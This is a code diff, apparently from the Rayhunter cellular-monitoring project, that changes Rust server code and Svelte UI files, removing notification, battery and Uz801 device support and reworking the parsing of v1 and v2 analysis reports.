info!("Starting UI"); info!("Starting UI");
@@ -259,7 +242,6 @@ async fn run_with_config(
Device::Tmobile => display::tmobile::update_ui, Device::Tmobile => display::tmobile::update_ui,
Device::Wingtech => display::wingtech::update_ui, Device::Wingtech => display::wingtech::update_ui,
Device::Pinephone => display::headless::update_ui, Device::Pinephone => display::headless::update_ui,
Device::Uz801 => display::uz801::update_ui,
}; };
update_ui(&task_tracker, &config, ui_shutdown_rx, ui_update_rx); update_ui(&task_tracker, &config, ui_shutdown_rx, ui_update_rx);
@@ -297,16 +279,15 @@ async fn run_with_config(
qmdl_store_lock.clone(), qmdl_store_lock.clone(),
analysis_tx.clone(), analysis_tx.clone(),
); );
run_notification_worker(&task_tracker, notification_service);
let state = Arc::new(ServerState { let state = Arc::new(ServerState {
config_path: args.config_path.clone(), config_path: args.config_path.clone(),
config, config,
qmdl_store_lock: qmdl_store_lock.clone(), qmdl_store_lock: qmdl_store_lock.clone(),
diag_device_ctrl_sender: diag_tx, diag_device_ctrl_sender: diag_tx,
ui_update_sender: ui_update_tx,
analysis_status_lock, analysis_status_lock,
analysis_sender: analysis_tx, analysis_sender: analysis_tx,
daemon_restart_tx: Arc::new(RwLock::new(Some(daemon_restart_tx))), daemon_restart_tx: Arc::new(RwLock::new(Some(daemon_restart_tx))),
ui_update_sender: Some(ui_update_tx),
}); });
run_server(&task_tracker, state, server_shutdown_rx).await; run_server(&task_tracker, state, server_shutdown_rx).await;
-148
View File
@@ -1,148 +0,0 @@
use std::{
cmp::min,
collections::HashMap,
time::{Duration, Instant},
};
use log::error;
use tokio::sync::mpsc::{self, error::TryRecvError};
use tokio_util::task::TaskTracker;
pub struct Notification {
message_type: String,
message: String,
debounce: Option<Duration>,
}
impl Notification {
pub fn new(message_type: String, message: String, debounce: Option<Duration>) -> Self {
Notification {
message_type,
message,
debounce,
}
}
}
struct NotificationStatus {
message: String,
needs_sending: bool,
last_sent: Option<Instant>,
last_attempt: Option<Instant>,
failed_since_last_success: u32,
}
pub struct NotificationService {
url: Option<String>,
tx: mpsc::Sender<Notification>,
rx: mpsc::Receiver<Notification>,
}
impl NotificationService {
pub fn new(url: Option<String>) -> Self {
let (tx, rx) = mpsc::channel(10);
Self { url, tx, rx }
}
pub fn new_handler(&self) -> mpsc::Sender<Notification> {
self.tx.clone()
}
}
pub fn run_notification_worker(
task_tracker: &TaskTracker,
mut notification_service: NotificationService,
) {
task_tracker.spawn(async move {
if let Some(url) = notification_service.url
&& !url.is_empty()
{
let mut notification_statuses = HashMap::new();
let http_client = reqwest::Client::new();
loop {
// Get any notifications since the last time we checked
loop {
match notification_service.rx.try_recv() {
Ok(notification) => {
let status = notification_statuses
.entry(notification.message_type)
.or_insert_with(|| NotificationStatus {
message: "".to_string(),
needs_sending: true,
last_sent: None,
last_attempt: None,
failed_since_last_success: 0,
});
// Ignore if we're in the debounce period
if let Some(debounce) = notification.debounce
&& let Some(last_sent) = status.last_sent
&& last_sent.elapsed() < debounce
{
continue;
}
status.message = notification.message;
status.needs_sending = true;
}
Err(TryRecvError::Empty) => {
break;
}
Err(TryRecvError::Disconnected) => {
return;
}
}
}
// Attempt to send pending notifications
for notification in notification_statuses.values_mut() {
if !notification.needs_sending {
continue;
}
// Backoff retries, up to a maximum of 256 seconds.
if let Some(last_attempt) = notification.last_attempt {
let min_wait_time = Duration::from_secs(
2u64.pow(min(notification.failed_since_last_success, 8)),
);
if last_attempt.elapsed() < min_wait_time {
continue;
}
}
match http_client
.post(&url)
.body(notification.message.clone())
.send()
.await
{
Ok(response) => {
if response.status().is_success() {
notification.last_sent = Some(Instant::now());
notification.failed_since_last_success = 0;
notification.needs_sending = false;
} else {
notification.failed_since_last_success += 1;
notification.last_attempt = Some(Instant::now());
}
}
Err(e) => {
error!("Failed to send notification to ntfy: {e}");
notification.failed_since_last_success += 1;
notification.last_attempt = Some(Instant::now());
}
}
}
tokio::time::sleep(Duration::from_secs(2)).await;
}
}
// If there's no url to send to we'll just discard the notifications
else {
loop {
if notification_service.rx.recv().await.is_none() {
break;
}
}
}
});
}
+12 -14
View File
@@ -56,6 +56,12 @@ pub struct ManifestEntry {
pub arch: Option<String>, pub arch: Option<String>,
} }
#[derive(PartialEq, Eq)]
pub enum EntryType {
Current,
Past,
}
impl ManifestEntry { impl ManifestEntry {
fn new() -> Self { fn new() -> Self {
let now = Local::now(); let now = Local::now();
@@ -341,31 +347,23 @@ impl RecordingStore {
Some((entry_index, &self.manifest.entries[entry_index])) Some((entry_index, &self.manifest.entries[entry_index]))
} }
pub fn is_current_entry(&self, name: &str) -> bool { pub async fn delete_entry(&mut self, name: &str) -> Result<EntryType, RecordingStoreError> {
match self.current_entry {
Some(idx) => match self.manifest.entries.get(idx) {
Some(entry) => entry.name == name,
None => false,
},
None => false,
}
}
pub async fn delete_entry(&mut self, name: &str) -> Result<(), RecordingStoreError> {
let entry_to_delete_idx = self let entry_to_delete_idx = self
.manifest .manifest
.entries .entries
.iter() .iter()
.position(|entry| entry.name == name) .position(|entry| entry.name == name)
.ok_or(RecordingStoreError::NoSuchEntryError)?; .ok_or(RecordingStoreError::NoSuchEntryError)?;
match self.current_entry { let is_current = match self.current_entry {
Some(current_entry) if current_entry == entry_to_delete_idx => { Some(current_entry) if current_entry == entry_to_delete_idx => {
self.close_current_entry().await?; self.close_current_entry().await?;
EntryType::Current
} }
Some(current_entry) => { Some(current_entry) => {
self.current_entry = Some(current_entry - 1); self.current_entry = Some(current_entry - 1);
EntryType::Past
} }
None => {} None => EntryType::Past,
}; };
let entry_to_delete = self.manifest.entries.remove(entry_to_delete_idx); let entry_to_delete = self.manifest.entries.remove(entry_to_delete_idx);
self.write_manifest().await?; self.write_manifest().await?;
@@ -377,7 +375,7 @@ impl RecordingStore {
remove_file_if_exists(&analysis_filepath) remove_file_if_exists(&analysis_filepath)
.await .await
.map_err(RecordingStoreError::DeleteFileError)?; .map_err(RecordingStoreError::DeleteFileError)?;
Ok(()) Ok(is_current)
} }
pub async fn delete_all_entries(&mut self) -> Result<(), RecordingStoreError> { pub async fn delete_all_entries(&mut self) -> Result<(), RecordingStoreError> {
+4 -27
View File
@@ -18,22 +18,21 @@ use tokio::sync::{RwLock, oneshot};
use tokio_util::compat::FuturesAsyncWriteCompatExt; use tokio_util::compat::FuturesAsyncWriteCompatExt;
use tokio_util::io::ReaderStream; use tokio_util::io::ReaderStream;
use crate::DiagDeviceCtrlMessage;
use crate::analysis::{AnalysisCtrlMessage, AnalysisStatus}; use crate::analysis::{AnalysisCtrlMessage, AnalysisStatus};
use crate::config::Config; use crate::config::Config;
use crate::display::DisplayState;
use crate::pcap::generate_pcap_data; use crate::pcap::generate_pcap_data;
use crate::qmdl_store::RecordingStore; use crate::qmdl_store::RecordingStore;
use crate::{DiagDeviceCtrlMessage, display};
pub struct ServerState { pub struct ServerState {
pub config_path: String, pub config_path: String,
pub config: Config, pub config: Config,
pub qmdl_store_lock: Arc<RwLock<RecordingStore>>, pub qmdl_store_lock: Arc<RwLock<RecordingStore>>,
pub diag_device_ctrl_sender: Sender<DiagDeviceCtrlMessage>, pub diag_device_ctrl_sender: Sender<DiagDeviceCtrlMessage>,
pub ui_update_sender: Sender<display::DisplayState>,
pub analysis_status_lock: Arc<RwLock<AnalysisStatus>>, pub analysis_status_lock: Arc<RwLock<AnalysisStatus>>,
pub analysis_sender: Sender<AnalysisCtrlMessage>, pub analysis_sender: Sender<AnalysisCtrlMessage>,
pub daemon_restart_tx: Arc<RwLock<Option<oneshot::Sender<()>>>>, pub daemon_restart_tx: Arc<RwLock<Option<oneshot::Sender<()>>>>,
pub ui_update_sender: Option<Sender<DisplayState>>,
} }
pub async fn get_qmdl( pub async fn get_qmdl(
@@ -244,29 +243,6 @@ pub async fn get_zip(
Ok((headers, body).into_response()) Ok((headers, body).into_response())
} }
pub async fn debug_set_display_state(
State(state): State<Arc<ServerState>>,
Json(display_state): Json<DisplayState>,
) -> Result<(StatusCode, String), (StatusCode, String)> {
if let Some(ui_sender) = &state.ui_update_sender {
ui_sender.send(display_state).await.map_err(|_| {
(
StatusCode::INTERNAL_SERVER_ERROR,
"failed to send display state update".to_string(),
)
})?;
Ok((
StatusCode::OK,
"display state updated successfully".to_string(),
))
} else {
Err((
StatusCode::SERVICE_UNAVAILABLE,
"display system not available".to_string(),
))
}
}
#[cfg(test)] #[cfg(test)]
mod tests { mod tests {
use super::*; use super::*;
@@ -317,6 +293,7 @@ mod tests {
store_lock: Arc<RwLock<crate::qmdl_store::RecordingStore>>, store_lock: Arc<RwLock<crate::qmdl_store::RecordingStore>>,
) -> Arc<ServerState> { ) -> Arc<ServerState> {
let (tx, _rx) = tokio::sync::mpsc::channel(1); let (tx, _rx) = tokio::sync::mpsc::channel(1);
let (ui_tx, _ui_rx) = tokio::sync::mpsc::channel(1);
let (analysis_tx, _analysis_rx) = tokio::sync::mpsc::channel(1); let (analysis_tx, _analysis_rx) = tokio::sync::mpsc::channel(1);
let analysis_status = { let analysis_status = {
@@ -329,10 +306,10 @@ mod tests {
config: Config::default(), config: Config::default(),
qmdl_store_lock: store_lock, qmdl_store_lock: store_lock,
diag_device_ctrl_sender: tx, diag_device_ctrl_sender: tx,
ui_update_sender: ui_tx,
analysis_status_lock: Arc::new(RwLock::new(analysis_status)), analysis_status_lock: Arc::new(RwLock::new(analysis_status)),
analysis_sender: analysis_tx, analysis_sender: analysis_tx,
daemon_restart_tx: Arc::new(RwLock::new(None)), daemon_restart_tx: Arc::new(RwLock::new(None)),
ui_update_sender: None,
}) })
} }
+13 -47
View File
@@ -1,15 +1,13 @@
use std::sync::Arc; use std::sync::Arc;
use crate::battery::get_battery_status; use crate::qmdl_store::ManifestEntry;
use crate::error::RayhunterError;
use crate::server::ServerState; use crate::server::ServerState;
use crate::{battery::BatteryState, qmdl_store::ManifestEntry};
use axum::Json; use axum::Json;
use axum::extract::State; use axum::extract::State;
use axum::http::StatusCode; use axum::http::StatusCode;
use log::error; use log::error;
use rayhunter::{Device, util::RuntimeMetadata}; use rayhunter::util::RuntimeMetadata;
use serde::Serialize; use serde::Serialize;
use tokio::process::Command; use tokio::process::Command;
@@ -18,24 +16,14 @@ pub struct SystemStats {
pub disk_stats: DiskStats, pub disk_stats: DiskStats,
pub memory_stats: MemoryStats, pub memory_stats: MemoryStats,
pub runtime_metadata: RuntimeMetadata, pub runtime_metadata: RuntimeMetadata,
#[serde(skip_serializing_if = "Option::is_none")]
pub battery_status: Option<BatteryState>,
} }
impl SystemStats { impl SystemStats {
pub async fn new(qmdl_path: &str, device: &Device) -> Result<Self, String> { pub async fn new(qmdl_path: &str) -> Result<Self, String> {
Ok(Self { Ok(Self {
disk_stats: DiskStats::new(qmdl_path, device).await?, disk_stats: DiskStats::new(qmdl_path).await?,
memory_stats: MemoryStats::new(device).await?, memory_stats: MemoryStats::new().await?,
runtime_metadata: RuntimeMetadata::new(), runtime_metadata: RuntimeMetadata::new(),
battery_status: match get_battery_status(device).await {
Ok(status) => Some(status),
Err(RayhunterError::FunctionNotSupportedForDeviceError) => None,
Err(err) => {
log::error!("Failed to get battery status: {err}");
None
}
},
}) })
} }
} }
@@ -52,22 +40,13 @@ pub struct DiskStats {
impl DiskStats { impl DiskStats {
// runs "df -h <qmdl_path>" to get storage statistics for the partition containing // runs "df -h <qmdl_path>" to get storage statistics for the partition containing
// the QMDL file. // the QMDL file
pub async fn new(qmdl_path: &str, device: &Device) -> Result<Self, String> { pub async fn new(qmdl_path: &str) -> Result<Self, String> {
// Uz801 needs to be told to use the busybox df specifically let mut df_cmd = Command::new("df");
let mut df_cmd: Command;
if matches!(device, Device::Uz801) {
df_cmd = Command::new("busybox");
df_cmd.arg("df");
} else {
df_cmd = Command::new("df");
}
df_cmd.arg("-h"); df_cmd.arg("-h");
df_cmd.arg(qmdl_path); df_cmd.arg(qmdl_path);
let stdout = get_cmd_output(df_cmd).await?; let stdout = get_cmd_output(df_cmd).await?;
let mut parts = stdout.split_whitespace().skip(7).to_owned();
// Handle standard df -h format
let mut parts = stdout.split_whitespace().skip(7);
Ok(Self { Ok(Self {
partition: parts.next().ok_or("error parsing df output")?.to_string(), partition: parts.next().ok_or("error parsing df output")?.to_string(),
total_size: parts.next().ok_or("error parsing df output")?.to_string(), total_size: parts.next().ok_or("error parsing df output")?.to_string(),
@@ -104,16 +83,9 @@ async fn get_cmd_output(mut cmd: Command) -> Result<String, String> {
} }
impl MemoryStats { impl MemoryStats {
// runs "free -k" and parses the output to retrieve memory stats for most devices, // runs "free -k" and parses the output to retrieve memory stats
pub async fn new(device: &Device) -> Result<Self, String> { pub async fn new() -> Result<Self, String> {
// Use busybox for Uz801 let mut free_cmd = Command::new("free");
let mut free_cmd: Command;
if matches!(device, Device::Uz801) {
free_cmd = Command::new("busybox");
free_cmd.arg("free");
} else {
free_cmd = Command::new("free");
}
free_cmd.arg("-k"); free_cmd.arg("-k");
let stdout = get_cmd_output(free_cmd).await?; let stdout = get_cmd_output(free_cmd).await?;
let mut numbers = stdout let mut numbers = stdout
@@ -139,7 +111,7 @@ pub async fn get_system_stats(
State(state): State<Arc<ServerState>>, State(state): State<Arc<ServerState>>,
) -> Result<Json<SystemStats>, (StatusCode, String)> { ) -> Result<Json<SystemStats>, (StatusCode, String)> {
let qmdl_store = state.qmdl_store_lock.read().await; let qmdl_store = state.qmdl_store_lock.read().await;
match SystemStats::new(qmdl_store.path.to_str().unwrap(), &state.config.device).await { match SystemStats::new(qmdl_store.path.to_str().unwrap()).await {
Ok(stats) => Ok(Json(stats)), Ok(stats) => Ok(Json(stats)),
Err(err) => { Err(err) => {
error!("error getting system stats: {err}"); error!("error getting system stats: {err}");
@@ -168,9 +140,3 @@ pub async fn get_qmdl_manifest(
current_entry, current_entry,
})) }))
} }
pub async fn get_log() -> Result<String, (StatusCode, String)> {
tokio::fs::read_to_string("/data/rayhunter/rayhunter.log")
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))
}
+1 -1
View File
@@ -6,7 +6,7 @@
<meta name="viewport" content="width=device-width, initial-scale=1" /> <meta name="viewport" content="width=device-width, initial-scale=1" />
%sveltekit.head% %sveltekit.head%
</head> </head>
<body data-sveltekit-preload-data="hover" style="width: 100%"> <body data-sveltekit-preload-data="hover">
<div style="display: contents" class="m-4 xl:m-8">%sveltekit.body%</div> <div style="display: contents" class="m-4 xl:m-8">%sveltekit.body%</div>
</body> </body>
</html> </html>
@@ -1,24 +0,0 @@
export class ActionError extends Error {
// The number of this an identical error has happened.
// This is shown as a number next to the error in the UI.
times = $state(1);
constructor(message: string, cause: Error) {
super(message);
this.cause = cause;
}
}
export const action_errors: ActionError[] = $state([]);
export function add_error(e: Error, msg: string): void {
for (const existing of action_errors) {
if (existing.message === msg) {
existing.times += 1;
return;
}
}
const action_error = new ActionError(msg, e);
action_errors.unshift(action_error);
console.log(action_errors.length);
}
+77 -3
View File
@@ -1,7 +1,43 @@
import { describe, it, expect } from 'vitest'; import { describe, it, expect } from 'vitest';
import { AnalysisRowType, parse_finished_report } from './analysis.svelte'; import { AnalysisRowType, EventType, parse_finished_report, Severity } from './analysis.svelte';
import { type NewlineDeliminatedJson } from './ndjson'; import { type NewlineDeliminatedJson } from './ndjson';
const SAMPLE_V1_REPORT_NDJSON: NewlineDeliminatedJson = [
{
analyzers: [
{
name: 'Analyzer 1',
description: 'A first analyzer',
},
{
name: 'Analyzer 2',
description: 'A second analyzer',
},
],
},
{
timestamp: '2024-10-08T13:25:43.011689003-07:00',
skipped_message_reasons: ['The reason why the message was skipped'],
analysis: [],
},
{
timestamp: '2024-10-08T13:25:43.480872496-07:00',
skipped_message_reasons: [],
analysis: [
{
timestamp: '2024-08-19T03:33:54.318Z',
events: [
null,
{
event_type: { type: 'QualitativeWarning', severity: 'Low' },
message: 'Something nasty happened',
},
],
},
],
},
];
const SAMPLE_V2_REPORT_NDJSON: NewlineDeliminatedJson = [ const SAMPLE_V2_REPORT_NDJSON: NewlineDeliminatedJson = [
{ {
analyzers: [ analyzers: [
@@ -26,7 +62,7 @@ const SAMPLE_V2_REPORT_NDJSON: NewlineDeliminatedJson = [
events: [ events: [
null, null,
{ {
event_type: 'Low', event_type: { type: 'QualitativeWarning', severity: 'Low' },
message: 'Something nasty happened', message: 'Something nasty happened',
}, },
], ],
@@ -34,6 +70,40 @@ const SAMPLE_V2_REPORT_NDJSON: NewlineDeliminatedJson = [
]; ];
describe('analysis report parsing', () => { describe('analysis report parsing', () => {
it('parses v1 example analysis', () => {
const report = parse_finished_report(SAMPLE_V1_REPORT_NDJSON);
expect(report.metadata.report_version).toEqual(1);
expect(report.metadata.analyzers).toEqual([
{
name: 'Analyzer 1',
description: 'A first analyzer',
version: 0,
},
{
name: 'Analyzer 2',
description: 'A second analyzer',
version: 0,
},
]);
expect(report.rows).toHaveLength(2);
expect(report.rows[0].type).toBe(AnalysisRowType.Skipped);
if (report.rows[1].type === AnalysisRowType.Analysis) {
const row = report.rows[1];
expect(row.events).toHaveLength(2);
expect(row.events[0]).toBeNull();
const event = row.events[1];
const expected_timestamp = new Date('2024-08-19T03:33:54.318Z');
expect(row.packet_timestamp.getTime()).toEqual(expected_timestamp.getTime());
if (event !== null && event.type === EventType.Warning) {
expect(event.severity).toEqual(Severity.Low);
} else {
throw 'wrong event type';
}
} else {
throw 'wrong row type';
}
});
it('parses v2 example analysis', () => { it('parses v2 example analysis', () => {
const report = parse_finished_report(SAMPLE_V2_REPORT_NDJSON); const report = parse_finished_report(SAMPLE_V2_REPORT_NDJSON);
expect(report.metadata.report_version).toEqual(2); expect(report.metadata.report_version).toEqual(2);
@@ -58,7 +128,11 @@ describe('analysis report parsing', () => {
const event = row.events[1]; const event = row.events[1];
const expected_timestamp = new Date('2024-08-19T03:33:54.318Z'); const expected_timestamp = new Date('2024-08-19T03:33:54.318Z');
expect(row.packet_timestamp.getTime()).toEqual(expected_timestamp.getTime()); expect(row.packet_timestamp.getTime()).toEqual(expected_timestamp.getTime());
expect(event!.event_type).toEqual('Low'); if (event !== null && event.type === EventType.Warning) {
expect(event.severity).toEqual(Severity.Low);
} else {
throw 'wrong event type';
}
} else { } else {
throw 'wrong row type'; throw 'wrong row type';
} }
+87 -17
View File
@@ -21,7 +21,17 @@ export class ReportMetadata {
constructor(ndjson: any) { constructor(ndjson: any) {
this.analyzers = ndjson.analyzers; this.analyzers = ndjson.analyzers;
this.rayhunter = ndjson.rayhunter; this.rayhunter = ndjson.rayhunter;
this.report_version = ndjson.report_version || 2; // Default to v2 if (ndjson.report_version === undefined) {
this.report_version = 1;
// we consider our legacy (unversioned) heuristics to be v0 --
// this'll let us clearly differentiate some known false-positive
// results from the pre-versioned era from v1 heuristics
this.analyzers.forEach((analyzer) => {
analyzer.version = 0;
});
} else {
this.report_version = ndjson.report_version;
}
} }
} }
@@ -54,22 +64,77 @@ export type PacketAnalysis = {
events: Event[]; events: Event[];
}; };
export type EventType = 'Informational' | 'Low' | 'Medium' | 'High'; export type Event = QualitativeWarning | InformationalEvent | null;
export enum EventType {
export type Event = { Informational,
event_type: EventType; Warning,
message: string;
} | null;
function get_event(event_json: any): Event {
if (!['Informational', 'Low', 'Medium', 'High'].includes(event_json.event_type)) {
throw `Invalid/unhandled event type: ${event_json.event_type}`;
}
return event_json;
} }
function get_rows(row_jsons: any[]): AnalysisRow[] { export type QualitativeWarning = {
type: EventType.Warning;
severity: Severity;
message: string;
};
export enum Severity {
Low,
Medium,
High,
}
export type InformationalEvent = {
type: EventType.Informational;
message: string;
};
function get_event(event_json: any): Event {
if (event_json.event_type.type === 'Informational') {
return {
type: EventType.Informational,
message: event_json.message,
};
} else {
return {
type: EventType.Warning,
severity:
event_json.event_type.severity === 'High'
? Severity.High
: event_json.event_type.severity === 'Medium'
? Severity.Medium
: Severity.Low,
message: event_json.message,
};
}
}
function get_v1_rows(row_jsons: any[]): AnalysisRow[] {
const rows: AnalysisRow[] = [];
for (const row_json of row_jsons) {
for (const reason of row_json.skipped_message_reasons) {
rows.push({
type: AnalysisRowType.Skipped,
reason,
});
}
for (const analysis_json of row_json.analysis) {
const events: Event[] = analysis_json.events.map((event_json: any): Event | null => {
if (event_json === null) {
return null;
} else {
return get_event(event_json);
}
});
rows.push({
type: AnalysisRowType.Analysis,
packet_timestamp: new Date(analysis_json.timestamp),
events,
});
}
}
return rows;
}
function get_v2_rows(row_jsons: any[]): AnalysisRow[] {
const rows: AnalysisRow[] = []; const rows: AnalysisRow[] = [];
for (const row_json of row_jsons) { for (const row_json of row_jsons) {
if (row_json.skipped_message_reason) { if (row_json.skipped_message_reason) {
@@ -105,7 +170,7 @@ function get_report_stats(rows: AnalysisRow[]): ReportStatistics {
} else { } else {
for (const event of row.events) { for (const event of row.events) {
if (event !== null) { if (event !== null) {
if (event.event_type === 'Informational') { if (event.type === EventType.Informational) {
num_informational_logs++; num_informational_logs++;
} else { } else {
num_warnings++; num_warnings++;
@@ -123,7 +188,12 @@ function get_report_stats(rows: AnalysisRow[]): ReportStatistics {
export function parse_finished_report(report_json: NewlineDeliminatedJson): AnalysisReport { export function parse_finished_report(report_json: NewlineDeliminatedJson): AnalysisReport {
const metadata = new ReportMetadata(report_json[0]); const metadata = new ReportMetadata(report_json[0]);
const rows = get_rows(report_json.slice(1)); let rows;
if (metadata.report_version === 1) {
rows = get_v1_rows(report_json.slice(1));
} else {
rows = get_v2_rows(report_json.slice(1));
}
const statistics = get_report_stats(rows); const statistics = get_report_stats(rows);
return { return {
statistics, statistics,
+5 -3
View File
@@ -23,9 +23,11 @@ export type AnalysisResult = {
}; };
export class AnalysisManager { export class AnalysisManager {
public status: Map<string, AnalysisStatus> = $state(new Map()); public status: Map<string, AnalysisStatus> = new Map();
public reports: Map<string, AnalysisReport | string> = $state(new Map()); public reports: Map<string, AnalysisReport | string> = new Map();
public set_queued_status(name: string) {
public async run_analysis(name: string) {
await req('POST', `/api/analysis/${name}`);
this.status.set(name, AnalysisStatus.Queued); this.status.set(name, AnalysisStatus.Queued);
this.reports.delete(name); this.reports.delete(name);
} }
@@ -1,100 +0,0 @@
<script lang="ts">
import { action_errors } from '../action_errors.svelte';
let pos = $state(0);
let current_error = $derived(action_errors[pos]);
function prev_error() {
if (pos > 0) pos -= 1;
else pos = action_errors.length - 1;
}
function next_error() {
if (pos + 1 < action_errors.length) pos += 1;
else pos = 0;
}
function clear_errors() {
pos = 0;
action_errors.length = 0;
}
</script>
{#if action_errors.length > 0}
<div
class="bg-red-100 border-red-100 drop-shadow p-4 flex flex-col gap-2
border rounded-md flex-1 justify-between fixed z-10 right-3 bottom-3 ml-3"
>
<div class="flex flex-row justify-between">
<span class="text-xl font-bold mb-2 mr-5 flex flex-row items-center gap-1 text-red-600">
<svg
class="w-6 h-6 text-red-600"
aria-hidden="true"
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
fill="currentColor"
viewBox="0 0 24 24"
>
<path
fill-rule="evenodd"
d="M2 12C2 6.477 6.477 2 12 2s10 4.477 10 10-4.477 10-10 10S2 17.523 2 12Zm11-4a1 1 0 1 0-2 0v5a1 1 0 1 0 2 0V8Zm-1 7a1 1 0 1 0 0 2h.01a1 1 0 1 0 0-2H12Z"
clip-rule="evenodd"
/>
</svg>
Error Completing Action {current_error.times > 1 ? `x${current_error.times}` : ''}
</span>
<div class="flex items-center mb-2">
{#if action_errors.length > 1}
<span>{pos + 1}/{action_errors.length}</span>
<button title="previous error" aria-label="previous error" onclick={prev_error}>
<svg
aria-hidden="true"
width="24"
height="24"
fill="none"
viewBox="0 0 24 24"
>
<path
stroke="currentColor"
stroke-linecap="round"
stroke-linejoin="round"
stroke-width="2"
d="m 15.499979,19.499979 -6.9999997,-7 6.9999997,-6.9999997"
/>
</svg>
</button>
<button title="next error" aria-label="next error" onclick={next_error}>
<svg
aria-hidden="true"
width="24"
height="24"
fill="none"
viewBox="0 0 24 24"
>
<path
stroke="currentColor"
stroke-linecap="round"
stroke-linejoin="round"
stroke-width="2"
d="m 8.5000207,5.4999793 7.0000003,6.9999997 -7.0000003,7"
/>
</svg>
</button>
{/if}
<button title="clear errors" aria-label="clear errors" onclick={clear_errors}>
<svg style="width:24px;height:24px" viewBox="0 0 24 24">
<path
d="M19,4H15.5L14.5,3H9.5L8.5,4H5V6H19M6,19A2,2 0 0,0 8,21H16A2,2 0 0,0 18,19V7H6V19Z"
/>
</svg>
</button>
</div>
</div>
<span>{current_error.message}</span>
{#if current_error.cause}
<details>
<summary>Details</summary>
<code>{current_error.cause}</code>
</details>
{/if}
</div>
{/if}
@@ -35,43 +35,15 @@
return finished && report_available; return finished && report_available;
}); });
let button_class = $derived.by(() => { let button_class = $derived(ready ? 'text-blue-600 border rounded-full px-2' : '');
if (!ready) {
return 'text-gray-700';
} else if ((entry.get_num_warnings() || 0) < 1) {
return 'text-green-700 border-green-500 bg-green-200 text-blue-600 border rounded-full px-2';
} else {
return 'text-red-700 border-red-500 bg-red-200 text-blue-600 border rounded-full px-2';
}
});
</script> </script>
<button class="flex flex-row gap-1 lg:gap-2" disabled={!ready} {onclick}> <button class="flex flex-row gap-1 lg:gap-2" disabled={!ready} {onclick}>
<span class="flex flex-row items-center gap-1"> <span
{#if entry.analysis_status === AnalysisStatus.Queued || entry.analysis_status === AnalysisStatus.Running || (entry.analysis_status === AnalysisStatus.Finished && entry.analysis_report === undefined)} class="{button_class} {(entry.get_num_warnings() || 0) < 1
<svg ? 'text-green-700 border-green-500 bg-green-200'
class="animate-spin h-4 w-4 text-blue-600" : 'text-red-700 border-red-500 bg-red-200'}">{summary}</span
xmlns="http://www.w3.org/2000/svg" >
fill="none"
viewBox="0 0 24 24"
>
<circle
class="opacity-25"
cx="12"
cy="12"
r="10"
stroke="currentColor"
stroke-width="4"
></circle>
<path
class="opacity-75"
fill="currentColor"
d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"
></path>
</svg>
{/if}
<span class={button_class}>{summary}</span>
</span>
<svg <svg
class="w-6 h-6 text-gray-800 transition-transform {analysis_visible ? 'rotate-180' : ''}" class="w-6 h-6 text-gray-800 transition-transform {analysis_visible ? 'rotate-180' : ''}"
aria-hidden="true" aria-hidden="true"
@@ -1,5 +1,5 @@
<script lang="ts"> <script lang="ts">
import { AnalysisRowType, type AnalysisReport } from '$lib/analysis.svelte'; import { AnalysisRowType, EventType, type AnalysisReport } from '$lib/analysis.svelte';
let { let {
report, report,
}: { }: {
@@ -33,44 +33,45 @@
{#if report.statistics.num_warnings === 0 && report.statistics.num_informational_logs === 0} {#if report.statistics.num_warnings === 0 && report.statistics.num_informational_logs === 0}
<p>Nothing to show!</p> <p>Nothing to show!</p>
{:else} {:else}
<div class="overflow-x-scroll"> <table class="table-auto text-left">
<table class="table-auto text-left"> <thead class="p-2">
<thead class="p-2"> <tr class="bg-gray-300">
<tr class="bg-gray-300"> <th class="p-2">Timestamp</th>
<th class="p-2">Timestamp</th> <th class="p-2">Heuristic</th>
<th class="p-2">Heuristic</th> <th class="p-2">Warning</th>
<th class="p-2">Warning</th> <th class="p-2">Severity</th>
<th class="p-2">Severity</th> </tr>
</tr> </thead>
</thead> <tbody>
<tbody> {#each report.rows as row}
{#each report.rows as row} {#if row.type === AnalysisRowType.Analysis}
{#if row.type === AnalysisRowType.Analysis} {@const parsed_date = new Date(row.packet_timestamp)}
{@const parsed_date = new Date(row.packet_timestamp)} {#each row.events.filter((e) => e !== null) as event, i}
{#each row.events as event, analyzerIndex} {@const analyzer = analyzers[i]}
{#if event !== null} <tr class="even:bg-gray-200 odd:bg-white">
{@const analyzer = analyzers[analyzerIndex]} {#if event.type === EventType.Warning}
{@const event_type_class = { {@const severity = ['Low', 'Medium', 'High'][event.severity]}
Informational: '', {@const severity_class = [
Low: 'bg-yellow-200', 'bg-red-200',
Medium: 'bg-orange-400', 'bg-red-400',
High: 'bg-red-600', 'bg-red-600',
}[event.event_type]} ][event.severity]}
<tr class="even:bg-gray-200 odd:bg-white"> <td class="p-2">{date_formatter.format(parsed_date)}</td>
<td class="p-2">{date_formatter.format(parsed_date)}</td> <td class="p-2">{analyzer.name} v{analyzer.version}</td>
<td class="p-2">{analyzer.name} v{analyzer.version}</td> <td class="p-2">{event.message}</td>
<td class="p-2">{event.message}</td> <td class="p-2 {severity_class} text-center">{severity}</td>
<td class="p-2 {event_type_class} text-center" {:else if event.type === EventType.Informational}
>{event.event_type}</td <td class="p-2">{date_formatter.format(parsed_date)}</td>
> <td class="p-2">{analyzer.name} v{analyzer.version}</td>
</tr> <td class="p-2">{event.message}</td>
<td class="p-2">Info</td>
{/if} {/if}
{/each} </tr>
{/if} {/each}
{/each} {/if}
</tbody> {/each}
</table> </tbody>
</div> </table>
{/if} {/if}
</div> </div>
{#if report.statistics.num_skipped_packets > 0} {#if report.statistics.num_skipped_packets > 0}
@@ -80,23 +81,21 @@
These are due to a limitation or bug in Rayhunter's parser, and aren't ususally a These are due to a limitation or bug in Rayhunter's parser, and aren't ususally a
problem. problem.
</p> </p>
<div class="overflow-x-scroll"> <table class="table-auto text-left">
<table class="table-auto text-left"> <thead class="p-2">
<thead class="p-2"> <tr class="bg-gray-300">
<tr class="bg-gray-300"> <th scope="col" class="p-2">Total Msgs Affected</th>
<th scope="col" class="p-2">Total Msgs Affected</th> <th scope="col">Reason/Error</th>
<th scope="col">Reason/Error</th> </tr>
</thead>
<tbody>
{#each skipped_messages.entries() as [message, count]}
<tr class="even:bg-gray-200 odd:bg-white">
<td class="text-center">{count}</td>
<td>{message}</td>
</tr> </tr>
</thead> {/each}
<tbody> </tbody>
{#each skipped_messages.entries() as [message, count]} </table>
